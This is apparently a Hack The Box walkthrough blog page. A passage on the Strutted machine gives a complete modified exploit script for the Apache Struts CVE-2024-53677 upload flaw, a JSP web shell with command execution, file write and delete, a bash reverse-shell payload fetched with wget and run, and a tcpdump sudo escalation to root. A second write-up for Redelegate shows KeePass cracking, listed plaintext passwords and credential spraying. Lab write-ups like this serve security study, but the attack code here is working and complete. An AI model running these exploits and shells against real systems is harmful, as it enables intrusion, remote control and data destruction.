<p>The Upload functionality is checking whether the input is among these in short its checking each file headers/magic bytes that’s why we are not able to upload other files<br />It also checks for the File content type to be Image and blocks other content type. (Can Confirm By Capturing Request In Burpsuite)</p>
<p>So As we now know the <strong>struts version 6.3.0.1</strong><br />Either found the CVE related to it and you will get the <a target="_blank" href="https://nvd.nist.gov/vuln/detail/CVE-2024-53677"><strong>CVE-2024-53677</strong></a></p>
<p>Or Either while enumerating through the directories you will end up in <strong>/strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst file</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767440538387/5175ba95-7f07-4c44-8dab-a35264938b0d.png" alt class="image--center mx-auto" /></p>
<p>So while finding exploits for this CVE you will end up on this GitHub repo <a target="_blank" href="https://github.com/EQSTLab/CVE-2024-53677"><strong>REPO_LINK</strong></a></p>
<p>But before exploiting the vulnerability let’s see what is it about, and to know in detail come to this <a target="_blank" href="https://www.skshieldus.com/download/files/download.do?o_fname=Research%20Technique%20Jan_Struts2%20File%20Upload%20Vulnerability%20\(CVE-2024-53677\).pdf&amp;r_fname=20250124092748303.pdf"><strong>LINK</strong></a>  </p>
<details><summary>ABOUT THE VULNERABILITY (CVE-2024-53677) (BRIEF)</summary><div data-type="detailsContent">"The vulnerability we're exploiting is <strong>CVE-2024-53677</strong>, an OGNL (Object-Graph Navigation Language) parameter injection flaw in Apache Struts 2 (versions 2.0.0 to 6.3.0.1) that allows attackers to manipulate file upload parameters. By injecting the parameter <code>top.UploadFileName</code> during a file upload request, we can bypass path restrictions and rename our uploaded file after it passes security validation, enabling us to upload a malicious JSP file that achieves Remote Code Execution."</div></details>

<hr />
<h2 id="heading-attack-path-exploitation">ATTACK PATH / EXPLOITATION</h2>
<p><strong>Vulnerability: CVE-2024-53677 - Apache Struts 2 File Upload OGNL Injection</strong></p>
<p>Apache Struts 2's <code>FileUploadInterceptor</code> contains a critical flaw where attackers can inject OGNL expressions through HTTP parameter names to manipulate file upload properties. The vulnerability exists because:</p>
<ol>
<li><p><strong>Security validation happens first</strong> - The application checks if uploaded files are valid images (magic bytes + Content-Type)</p>
</li>
<li><p><strong>Parameter binding happens after</strong> - Struts then processes HTTP parameters and binds them to the Action object using OGNL</p>
</li>
<li><p><strong>The exploit</strong> - By sending a parameter named <code>top.UploadFileName</code> with value <code>../../shell.jsp</code>, we modify the filename property on the Value Stack AFTER validation</p>
</li>
<li><p><strong>Path traversal</strong> - The <code>../../</code> allows us to escape the timestamp-based upload directory and place our file in the web root because its easy to access</p>
</li>
<li><p><strong>Polyglot file</strong> - We embed JSP code inside a valid JPEG file (with magic bytes), which passes image validation but executes as JSP when accessed</p>
</li>
</ol>
<hr />
<p>Now let’s use the GitHub repo to Exploit This Vulnerability But The Scripts are missing some things</p>
<ul>
<li><p>The <code>.jsp</code> script will not work because the server validates uploaded files by checking the first 8 bytes (magic bytes) to ensure they're actual images - it looks for <code>FF D8 FF</code> (JPEG), <code>89 50 4E 47</code> (PNG), or <code>47 49 46 38</code> (GIF) which is not present in the script.</p>
</li>
<li><p>The file started with <code>&lt;%@</code> (test.txt), which failed this validation and got rejected before the OGNL parameter injection (<code>top.UploadFileName</code>) could even execute.</p>
</li>
<li><p>Additionally, the Python script was sending <code>Content-Type: text/plain</code> instead of <code>image/jpeg</code>, causing a double failure.</p>
</li>
<li><p>By prepending JPEG magic bytes (<code>\xff\xd8\xff\xe0</code>) to the beginning of the JSP file and changing the Content-Type to <code>image/jpeg</code>, the file now passes all image validation checks, gets uploaded successfully, then the parameter injection renames it to <code>.jsp</code>, and when accessed, Tomcat's JSP engine ignores the image bytes at the start and executes the JSP code embedded after them.</p>
</li>
</ul>
<p>So Replace your <strong>CVE-2024-53677.py with</strong></p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> time
<span class="hljs-keyword">import</span> sys
<span class="hljs-keyword">import</span> argparse

requests.packages.urllib3.disable_warnings(
    requests.packages.urllib3.exceptions.InsecureRequestWarning
)

<span class="hljs-comment"># 배너 출력</span>
banner = <span class="hljs-string">r"""..-+*******-                                                                                  
            .=#+-------=@.                        .:==:.                                                   
           .**-------=*+:                      .-=++.-+=:.                                                 
           +*-------=#=+++++++++=:..          -+:==**=+-+:.                                                
          .%----=+**+=-:::::::::-=+**+:.      ==:=*=-==+=..                                                
          :%--**+-::::::::::::::::::::+*=:     .::*=**=:.                                                  
   ..-++++*@#+-:::::::::::::::::::::::::-*+.    ..-+:.                                                     
 ..+*+---=#+::::::::::::::::::::::::::::::=*:..-==-.                                                       
 .-#=---**:::::::::::::::::::::::::=+++-:::-#:..            :=+++++++==.   ..-======-.     ..:---:..       
  ..=**#=::::::::::::::::::::::::::::::::::::%:.           *@@@@@@@@@@@@:.-#@@@@@@@@@%*:.-*%@@@@@@@%#=.    
   .=#%=::::::::::::::::::::::::::::::::-::::-#.           %@@@@@@@@@@@@+:%@@@@@@@@@@@%==%@@@@@@@@@@@%-    
  .*+*+:::::::::::-=-::::::::::::::::-*#*=::::#: ..*#*+:.  =++++***%@@@@+-@@@#====%@@@%==@@@#++++%@@@%-    
  .+#*-::::::::::+*-::::::::::::::::::+=::::::-#..#+=+*%-.  :=====+#@@@@-=@@@+.  .%@@@%=+@@@+.  .#@@@%-    
   .+*::::::::::::::::::::::::+*******=::::::--@.+@#+==#-. #@@@@@@@@@@@@.=@@@%*++*%@@@%=+@@@#====@@@@%-    
   .=+:::::::::::::=*+::::::-**=-----=#-::::::-@%+=+*%#:. .@@@@@@@@@@@%=.:%@@@@@@@@@@@#-=%@@@@@@@@@@@#-    
   .=*::::::::::::-+**=::::-#+--------+#:::-::#@%*==+*-   .@@@@#=----:.  .-+*#%%%%@@@@#-:+#%@@@@@@@@@#-    
   .-*::::::::::::::::::::=#=---------=#:::::-%+=*#%#-.   .@@@@%######*+.       .-%@@@#:  .....:+@@@@*:    
    :+=:::::::::::-:-::::-%=----------=#:::--%++++=**      %@@@@@@@@@@@@.        =%@@@#.        =@@@@*.    
    .-*-:::::::::::::::::**---------=+#=:::-#**#*+#*.      -#%@@@@@@@@@#.        -%@@%*.        =@@@@+.    
.::-==##**-:::-::::::::::%=-----=+***=::::=##+#=.::         ..::----:::.         .-=--.         .=+=-.     
%+==--:::=*::::::::::::-:+#**+=**=::::::-#%=:-%.                                                           
*+.......+*::::::::::::::::-****-:::::=*=:.++:*=                                                           
.%:..::::*@@*-::::::::::::::-+=:::-+#%-.   .#*#.                                                           
 ++:.....#--#%**=-:::::::::::-+**+=:@#....-+*=.                                                            
 :#:....:#-::%..-*%#++++++%@@@%*+-.#-=#+++-..                                                              
 .++....-#:::%.   .-*+-..*=.+@= .=+..-#                                                                    
 .:+++#@#-:-#= ...   .-++:-%@@=     .:#                                                                    
     :+++**##@#+=.      -%@@@%-   .-=*#.                                                                   
    .=+::+::-@:         #@@@@+. :+*=::=*-                                                                  
    .=+:-**+%%+=-:..    =*#*-..=*-:::::=*                                                                  
     :++---::--=*#+*+++++**+*+**-::::::+=                                                                  
      .+*=:::---+*:::::++++++*+=:::::-*=.                                                                  
       .:=**+====#*::::::=%:...-=++++=.      Author: EQST(Experts, Qualified Security Team)
           ..:----=**++++*+.                 Github: https://github.com/EQSTLab/CVE-2024-53677  


============================================================================================================    

CVE-2024-53677 : Apache Struts2 File Upload vulnerabilities
File upload logic in Apache Struts is flawed. An attacker can manipulate file upload params to enable paths traversal and under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution. This issue affects Apache Struts: from 2.0.0 before 6.4.0. Users are recommended to upgrade to version 6.4.0 at least and migrate to the new file upload mechanism https://struts.apache.org/core-developers/file-upload . If you are not using an old file upload logic based on FileuploadInterceptor your application is safe. You can find more details in  https://cwiki.apache.org/confluence/display/WW/S2-067

============================================================================================================= 
"""</span>

<span class="hljs-comment"># 하드코딩된 JSP 파일 내용 (JPEG 헤더 포함)</span>
HARDCODED_FILE_CONTENT = <span class="hljs-string">"""&lt;%@ page import="java.io.*, java.util.*, java.net.*" %&gt;
&lt;%
    String action = request.getParameter("action");
    String output = "";

    try {
        if ("cmd".equals(action)) {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                Process p = Runtime.getRuntime().exec(cmd);
                BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
                String line;
                while ((line = reader.readLine()) != null) {
                    output += line + "\\n";
                }
                reader.close();
            }
        } else {
            output = "Unknown action.";
        }
    } catch (Exception e) {
        output = "Error: " + e.getMessage();
    }
    response.setContentType("text/plain");
    out.print(output);
%&gt;
"""</span>

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">StrutsExploit</span>:</span>

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, url: str, path: str, file_content: str = None</span>):</span>
        self.url = url
        self.path = path
        self.file_content = file_content <span class="hljs-keyword">if</span> file_content <span class="hljs-keyword">else</span> HARDCODED_FILE_CONTENT

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">greeting</span>(<span class="hljs-params">self</span>) -&gt; <span class="hljs-keyword">None</span>:</span>
        print(banner)

    <span class="hljs-comment"># 스피너 애니메이션</span>
<span class="hljs-meta">    @staticmethod</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">spinner</span>(<span class="hljs-params">duration=<span class="hljs-number">10</span>, interval=<span class="hljs-number">0.1</span></span>) -&gt; <span class="hljs-keyword">None</span>:</span>
        spinner_chars = [<span class="hljs-string">'|'</span>, <span class="hljs-string">'/'</span>, <span class="hljs-string">'-'</span>, <span class="hljs-string">'\\'</span>]
        end_time = time.time() + duration
        <span class="hljs-keyword">while</span> time.time() &lt; end_time:
            <span class="hljs-keyword">for</span> char <span class="hljs-keyword">in</span> spinner_chars:
                sys.stdout.write(<span class="hljs-string">f'\r[<span class="hljs-subst">{char}</span>] Loading, please wait...'</span>)
                sys.stdout.flush()
                time.sleep(interval)
        print(<span class="hljs-string">""</span>)

    <span class="hljs-comment"># 파일 업로드 함수 (FIXED!)</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">exploit</span>(<span class="hljs-params">self</span>) -&gt; <span class="hljs-keyword">None</span>:</span>
        <span class="hljs-comment"># Add JPEG magic bytes to the beginning</span>
        jpeg_header = <span class="hljs-string">b'\xff\xd8\xff\xe0'</span>

        <span class="hljs-comment"># Convert file content to bytes and prepend JPEG header</span>
        <span class="hljs-keyword">if</span> isinstance(self.file_content, str):
            full_content = jpeg_header + self.file_content.encode(<span class="hljs-string">'utf-8'</span>)
        <span class="hljs-keyword">else</span>:
            full_content = jpeg_header + self.file_content

        files = {
            <span class="hljs-string">'Upload'</span>: (<span class="hljs-string">"exploit_file.jpg"</span>, full_content, <span class="hljs-string">'image/jpeg'</span>),  <span class="hljs-comment"># Changed to .jpg and image/jpeg</span>
            <span class="hljs-string">'top.UploadFileName'</span>: (<span class="hljs-literal">None</span>, self.path),
        }

        <span class="hljs-keyword">try</span>:
            response = requests.post(self.url, files=files, verify=<span class="hljs-literal">False</span>)
            print(<span class="hljs-string">"Status Code:"</span>, response.status_code)
            print(<span class="hljs-string">"Response Text:"</span>, response.text[:<span class="hljs-number">500</span>])  <span class="hljs-comment"># Limit output</span>
            <span class="hljs-keyword">if</span> response.status_code == <span class="hljs-number">200</span>:
                print(<span class="hljs-string">"\n[+] File uploaded successfully!"</span>)
                print(<span class="hljs-string">f"[+] Try accessing: <span class="hljs-subst">{self.url.replace(<span class="hljs-string">'/upload.action'</span>, <span class="hljs-string">''</span>)}</span>/<span class="hljs-subst">{self.path.replace(<span class="hljs-string">'../../'</span>, <span class="hljs-string">''</span>)}</span>"</span>)
            <span class="hljs-keyword">else</span>:
                print(<span class="hljs-string">"\n[-] Failed to upload file."</span>)
        <span class="hljs-keyword">except</span> requests.exceptions.RequestException <span class="hljs-keyword">as</span> e:
            print(<span class="hljs-string">f"Request failed: <span class="hljs-subst">{e}</span>"</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span>(<span class="hljs-params">args</span>):</span>
    <span class="hljs-comment"># 파일 내용 읽기</span>
    file_content = <span class="hljs-literal">None</span>
    <span class="hljs-keyword">if</span> args.file:
        <span class="hljs-keyword">try</span>:
            <span class="hljs-keyword">with</span> open(args.file, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:  <span class="hljs-comment"># Changed to 'rb' for binary read</span>
                file_content = f.read()
                <span class="hljs-comment"># Check if file already has JPEG header</span>
                <span class="hljs-keyword">if</span> file_content[:<span class="hljs-number">4</span>] == <span class="hljs-string">b'\xff\xd8\xff\xe0'</span>:
                    print(<span class="hljs-string">"[*] File already contains JPEG header, using as-is"</span>)
                <span class="hljs-keyword">else</span>:
                    print(<span class="hljs-string">"[!] Warning: File doesn't have JPEG magic bytes!"</span>)
                    print(<span class="hljs-string">"[*] Adding JPEG header automatically..."</span>)
        <span class="hljs-keyword">except</span> FileNotFoundError:
            print(<span class="hljs-string">f"Error: File '<span class="hljs-subst">{args.file}</span>' not found."</span>)
            exit(<span class="hljs-number">1</span>)

    <span class="hljs-comment"># 실행</span>
    exploit = StrutsExploit(args.url, args.path, file_content)
    exploit.greeting()
    StrutsExploit.spinner(duration=<span class="hljs-number">2</span>)
    exploit.exploit()

<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
    parser = argparse.ArgumentParser(description=<span class="hljs-string">"CVE-2024-53677 - Apache Struts File Upload Exploit"</span>)
    parser.add_argument(<span class="hljs-string">"-u"</span>, <span class="hljs-string">"--url"</span>, required=<span class="hljs-literal">True</span>, help=<span class="hljs-string">"The URL to send the POST request to (e.g., http://target.com/upload.action)"</span>)
    parser.add_argument(<span class="hljs-string">"-p"</span>, <span class="hljs-string">"--path"</span>, required=<span class="hljs-literal">True</span>, help=<span class="hljs-string">"The top.UploadFileName value (e.g., ../../shell.jsp)"</span>)
    parser.add_argument(<span class="hljs-string">"-f"</span>, <span class="hljs-string">"--file"</span>, help=<span class="hljs-string">"The local file to upload (will automatically add JPEG header if missing)"</span>)

    args = parser.parse_args()
    main(args)
</code></pre>
<p><strong>And create a new file with name shell.jsp and enter the below code into it</strong></p>
<pre><code class="lang-java">ÿØÿà&lt;%@ page <span class="hljs-keyword">import</span>=<span class="hljs-string">"java.io.*, java.util.*"</span> %&gt;
&lt;%
String action = request.getParameter(<span class="hljs-string">"action"</span>);
String output = <span class="hljs-string">""</span>;

<span class="hljs-keyword">try</span> {
    <span class="hljs-keyword">if</span> (<span class="hljs-string">"cmd"</span>.equals(action)) {
        <span class="hljs-comment">// Execute system commands</span>
        String cmd = request.getParameter(<span class="hljs-string">"cmd"</span>);
        <span class="hljs-keyword">if</span> (cmd != <span class="hljs-keyword">null</span>) {
            Process p = Runtime.getRuntime().exec(cmd);
            BufferedReader reader = <span class="hljs-keyword">new</span> BufferedReader(<span class="hljs-keyword">new</span> InputStreamReader(p.getInputStream()));
            String line;
            <span class="hljs-keyword">while</span> ((line = reader.readLine()) != <span class="hljs-keyword">null</span>) {
                output += line + <span class="hljs-string">"\n"</span>;
            }
            reader.close();
        }
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-string">"upload"</span>.equals(action)) {
        <span class="hljs-comment">// File upload</span>
        String filePath = request.getParameter(<span class="hljs-string">"path"</span>);
        String fileContent = request.getParameter(<span class="hljs-string">"content"</span>);
        <span class="hljs-keyword">if</span> (filePath != <span class="hljs-keyword">null</span> &amp;&amp; fileContent != <span class="hljs-keyword">null</span>) {
            File file = <span class="hljs-keyword">new</span> File(filePath);
            <span class="hljs-keyword">try</span> (BufferedWriter writer = <span class="hljs-keyword">new</span> BufferedWriter(<span class="hljs-keyword">new</span> FileWriter(file))) {
                writer.write(fileContent);
            }
            output = <span class="hljs-string">"File uploaded to: "</span> + filePath;
        } <span class="hljs-keyword">else</span> {
            output = <span class="hljs-string">"Invalid file upload parameters."</span>;
        }
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-string">"list"</span>.equals(action)) {
        <span class="hljs-comment">// List directory contents</span>
        String dirPath = request.getParameter(<span class="hljs-string">"path"</span>);
        <span class="hljs-keyword">if</span> (dirPath != <span class="hljs-keyword">null</span>) {
            File dir = <span class="hljs-keyword">new</span> File(dirPath);
            <span class="hljs-keyword">if</span> (dir.isDirectory()) {
                File[] files = dir.listFiles();
                <span class="hljs-keyword">if</span> (files != <span class="hljs-keyword">null</span>) {
                    <span class="hljs-keyword">for</span> (File file : files) {
                        output += file.getName() + (file.isDirectory() ? <span class="hljs-string">"/"</span> : <span class="hljs-string">""</span>) + <span class="hljs-string">"\n"</span>;
                    }
                }
            } <span class="hljs-keyword">else</span> {
                output = <span class="hljs-string">"Path is not a directory."</span>;
            }
        } <span class="hljs-keyword">else</span> {
            output = <span class="hljs-string">"No directory path provided."</span>;
        }
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (<span class="hljs-string">"delete"</span>.equals(action)) {
        <span class="hljs-comment">// Delete files</span>
        String filePath = request.getParameter(<span class="hljs-string">"path"</span>);
        <span class="hljs-keyword">if</span> (filePath != <span class="hljs-keyword">null</span>) {
            File file = <span class="hljs-keyword">new</span> File(filePath);
            <span class="hljs-keyword">if</span> (file.delete()) {
                output = <span class="hljs-string">"File deleted: "</span> + filePath;
            } <span class="hljs-keyword">else</span> {
                output = <span class="hljs-string">"Failed to delete file: "</span> + filePath;
            }
        } <span class="hljs-keyword">else</span> {
            output = <span class="hljs-string">"No file path provided."</span>;
        }
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-comment">// Unknown operation</span>
        output = <span class="hljs-string">"Unknown action. Available actions: cmd, upload, list, delete"</span>;
    }
} <span class="hljs-keyword">catch</span> (Exception e) {
    output = <span class="hljs-string">"Error: "</span> + e.getMessage();
}

<span class="hljs-comment">// Return the result</span>
response.setContentType(<span class="hljs-string">"text/plain"</span>);
out.print(output);
%&gt;
</code></pre>
<p>Now Run the Exploit</p>
<pre><code class="lang-apache"><span class="hljs-attribute">python3</span> CVE-<span class="hljs-number">2024</span>-<span class="hljs-number">53677</span>.py -u http://strutted.htb/upload.action -p ../../shell.jsp -f shell.jsp
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767443738929/f7146df6-75da-47a8-9737-24457204610d.png" alt class="image--center mx-auto" /></p>
<p>It shows that <strong>shell.jsp</strong> is successfully uploaded now let’s see if we get a successful RCE or not<br />Head to</p>
<pre><code class="lang-apache"><span class="hljs-attribute">http</span>://strutted.htb/shell.jsp?action=cmd&amp;cmd=id
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767444098881/c9f79dc9-e159-4515-912c-8aadf279524d.png" alt class="image--center mx-auto" /></p>
<p>Here we go !! We got the Remote Code Execution Now let’s get the foothold by taking reverse shell<br />Since we can upload the file in server using RCE we will upload a reverse shell payload file into the server and then get the reverse shell as normal payload through URL is not seem to work.</p>
<p>So In your local machine :</p>
<pre><code class="lang-apache"><span class="hljs-attribute">echo</span> -ne '#!/bin/bash\nbash -c <span class="hljs-string">"bash -i &gt;&amp; /dev/tcp/YOUR-IP/9002 0&gt;&amp;1"</span>' &gt; rev.sh

<span class="hljs-attribute">python3</span> -m http.server <span class="hljs-number">80</span>
</code></pre>
<p>In another terminal open netcat listener</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nc</span> -lvnp <span class="hljs-number">9002</span>
</code></pre>
<p>Now go to the webpage where you had your RCE</p>
<pre><code class="lang-apache"><span class="hljs-attribute">http</span>://strutted.htb/shell.jsp?action=cmd&amp;cmd=wget+YOUR-IP/rev.sh+-O+/tmp/rev.sh
<span class="hljs-attribute">http</span>://strutted.htb/shell.jsp?action=cmd&amp;cmd=chmod+<span class="hljs-number">777</span>+/tmp/rev.sh
<span class="hljs-attribute">http</span>://strutted.htb/shell.jsp?action=cmd&amp;cmd=/tmp/rev.sh
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767444762155/777d7ee8-6f56-42da-98d7-9a0781c7d07e.png" alt class="image--center mx-auto" /></p>
<p>You will get the reverse shell as tomcat but we can’t access <strong>/home/james</strong> directory so remember you got tomcat admin password at the start which u can also see here in <strong>/var/lib/tomcat9/conf/tomcat-users.xml</strong></p>
<hr />
<h2 id="heading-user-flag">USER FLAG</h2>
<p>Now let’s try ssh login for user james with that password</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767445160987/c0980a95-5c2e-41f6-a989-c66ba5c77ba8.png" alt class="image--center mx-auto" /></p>
<p>We got in and you can grab the user flag from the /home/james directory</p>
<hr />
<h2 id="heading-privilege-escalation-root-flag">PRIVILEGE ESCALATION / ROOT FLAG</h2>
<p>Now let’s enumerate for privilege escalation and for that when you will do <code>sudo -l</code> you will see</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767445336378/f26e7e2d-8c63-4a47-8e81-778d53afc3a9.png" alt class="image--center mx-auto" /></p>
<p>Let’s head to <a target="_blank" href="https://gtfobins.github.io/gtfobins/tcpdump/"><strong>GTFO bin</strong></a> to find the way to escalate privilege using tcpdump</p>
<pre><code class="lang-apache"><span class="hljs-attribute">COMMAND</span>='cp /bin/bash /tmp/bash_root &amp;&amp; chmod +s /tmp/bash_root'
<span class="hljs-attribute">TF</span>=$(mktemp)
<span class="hljs-attribute">echo</span> <span class="hljs-string">"$COMMAND"</span> &gt; $TF
<span class="hljs-attribute">chmod</span> +x $TF
<span class="hljs-attribute">sudo</span> tcpdump -ln -i lo -w /dev/null -W <span class="hljs-number">1</span> -G <span class="hljs-number">1</span> -z $TF -Z root
<span class="hljs-attribute">ls</span> -la /tmp/bash_root
/<span class="hljs-attribute">tmp</span>/bash_root -p
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767445973205/9c626bb8-d89d-429f-a482-810b101f9972.png" alt class="image--center mx-auto" /></p>
<p>We got the root access and now you can grab the root flag</p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767446132870/40b547ea-ab44-4e26-bf9c-c957fa38dce3.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Redelegate]]></title><description><![CDATA[OVERVIEW


So we are given IP of the machine let’s scan it using Nmap

ENUMERATION


So we see that Anonymous Login is allowed in FTP so let’s just dump all its contents and directories and also don’t forget to add the domain and DC name into /etc/ho...]]></description><link>https://blog.reapsec.com/redelegate-htb</link><guid isPermaLink="true">https://blog.reapsec.com/redelegate-htb</guid><category><![CDATA[redelegate]]></category><category><![CDATA[constrained delegation]]></category><category><![CDATA[Hard Machine]]></category><category><![CDATA[reapsec]]></category><category><![CDATA[#HackTheBox]]></category><category><![CDATA[vulnlab]]></category><category><![CDATA[hackthebox machine]]></category><category><![CDATA[#Walkthroughs]]></category><category><![CDATA[Write Up]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Wed, 31 Dec 2025 09:14:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1767160379466/6859e08c-0ddd-4309-843f-573b71f7a0fe.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767160406935/f0af5174-99e5-4289-8875-fce36443de5c.png" alt class="image--center mx-auto" /></p>
<p>So we are given IP of the machine let’s scan it using Nmap</p>
<hr />
<h2 id="heading-enumeration">ENUMERATION</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767160456481/ba523036-9569-4f7c-a9eb-d9927d4104a9.png" alt /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767160527547/1c702452-f065-4bbd-9264-697953fd1695.png" alt class="image--center mx-auto" /></p>
<p>So we see that Anonymous Login is allowed in FTP so let’s just dump all its contents and directories and also don’t forget to add the domain and DC name into <strong><mark>/etc/hosts</mark></strong></p>
<p>To dump the content inside FTP server using anonymous login:</p>
<pre><code class="lang-apache"><span class="hljs-attribute">wget</span> -m --no-passive ftp://anonymous:anonymous@<span class="hljs-number">10.129.234.50</span>
</code></pre>
<p>You will get all the contents on your working directory</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767160774824/d0538a29-e702-40a3-9565-66c85aff3d24.png" alt /></p>
<p>Let’s analyze each file one by one<br />So on analyzing <strong>CyberAudit.txt and TrainingAgenda.txt</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">Friday</span> <span class="hljs-number">18</span>th October | <span class="hljs-number">11</span>.<span class="hljs-number">30</span> - <span class="hljs-number">13</span>.<span class="hljs-number">30</span> - <span class="hljs-number">7</span> attendees
"<span class="hljs-attribute">Weak</span> Passwords<span class="hljs-string">" - Why "</span>SeasonYear!<span class="hljs-string">" is not a good password</span>
</code></pre>
<p>So only 7 attendees means people are still using <strong>SeasonYear!</strong> type passwords and we also saw another <strong>Shared.kdbx</strong> file which is a <strong>Keepass 2.x</strong> file of which we could get its password by using John The Ripper tools as</p>
<pre><code class="lang-apache"><span class="hljs-attribute">keepass2john</span> Shared.kdbx &gt; keepass.hash

<span class="hljs-attribute">john</span> --wordlist=/path-to-your-wordlist
</code></pre>
<p>Since we know that People are using SeasonYear! type passwords so let’s quickly create a custom wordlist <strong>pass.txt</strong> of these type of passwords according to seasons</p>
<pre><code class="lang-plaintext">SeasonYear!
Summer2024!
Winter2024!
Fall2024!
Spring2024!
Autumn2024!
</code></pre>
<p><strong>NOTE: we used the year 2024 because its 2024 in the CyberAudit.txt as we saw above and if you try to crack the Shared.kdbx file using rockyou.txt then it will take ages to complete</strong></p>
<p>now let’s try to crack Shared.kdbx file password using the above wordlist</p>
<pre><code class="lang-apache"><span class="hljs-attribute">john</span> --wordlist=/path-to-pass.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767161964028/ecf98e2f-472a-4967-ab99-718a5ac7d7ac.png" alt class="image--center mx-auto" /></p>
<p>So we got the password successfully and now let’s use <strong>kpcli</strong> to login into the file <strong>Shared.kdbx</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">kpcli</span> --kdb=Shared.kdbx
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767162119732/b0ab1401-6236-4147-925b-aef7bf3ea068.png" alt /></p>
<p>Now since you are inside , now enumerate the directories using <strong>ls , cd</strong> commands and to see particular passwords use the show command such as show 0 , show 1 and so on….</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767162756340/6f9a2315-7905-43f3-9f38-996156a4d2f4.png" alt /></p>
<p>The passwords are hidden under a red flag so to see them just copy them and paste somewhere or in a text editor</p>
<p>On enumerating the Shared.kdbx completely and getting all the passwords make a list of users and passwords differently to enumerate which service is working for which credentials</p>
<pre><code class="lang-plaintext">Payroll
Timesheet
Administrator
FTPUser
SQLGuest
WordPress Panel
</code></pre>
<pre><code class="lang-plaintext">SeasonYear!
Summer2024!
Winter2024!
Fall2024!
Spring2024!
Autumn2024!
cVkqz4bCM7kJRSNlgx2G
hMFS4I0Kj8Rcd62vqi5X
22331144
Spdv41gg4BlBgSYIW1gF
SguPZBKdRyxWzvXRWy6U
zDPBpaF4FywlqIv11vii
cn4KOEgsHqvKXPjEnSD9
</code></pre>
<p>Now we can use netexec to brute force the creds among services like FTP , SMB , MSSQL , LDAP , WINRM etc.</p>
<p>So none of them worked in services above except MSSQL</p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> mssql <span class="hljs-number">10.129.234.50</span> -u users.txt -p pass.txt --continue-<span class="hljs-literal">on</span>-success --local-auth
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767164123112/fcc9890f-1f34-4604-b39f-23ee955396c1.png" alt class="image--center mx-auto" /></p>
<p>Now I used mssqlclient.py to enumerate the sql server but couldn’t get any useful there to get us some lead so then i thought about <strong>—rid-brute using the MSSQL creds we got</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> mssql <span class="hljs-number">10.129.234.50</span> -u 'SQLGuest' -p 'zDPBpaF<span class="hljs-number">4</span>FywlqIv<span class="hljs-number">11</span>vii' --rid-brute --local-auth
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767164399586/251b0fb0-1088-4922-96d1-8a6dffbd20e0.png" alt class="image--center mx-auto" /></p>
<p><strong>Now there is a possibility of password reuse with the new users we got so let’s brute force the new users with our earlier pass.txt</strong></p>
<pre><code class="lang-apache"><span class="hljs-attribute">nxc</span> smb <span class="hljs-number">10.129.234.50</span> -u new_users.txt -p pass.txt --continue-<span class="hljs-literal">on</span>-success
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1767164953872/fd1bcad3-e05a-4c50-b9d9-fc937b426eaf.png" alt /></p>
<p>Here we go we got <strong>Marie.Curie</strong> user but we are not able to get a foothold through Marie.Curie and its shares are also not much of any use so let’s run bloodhound to see what is happening.</p>
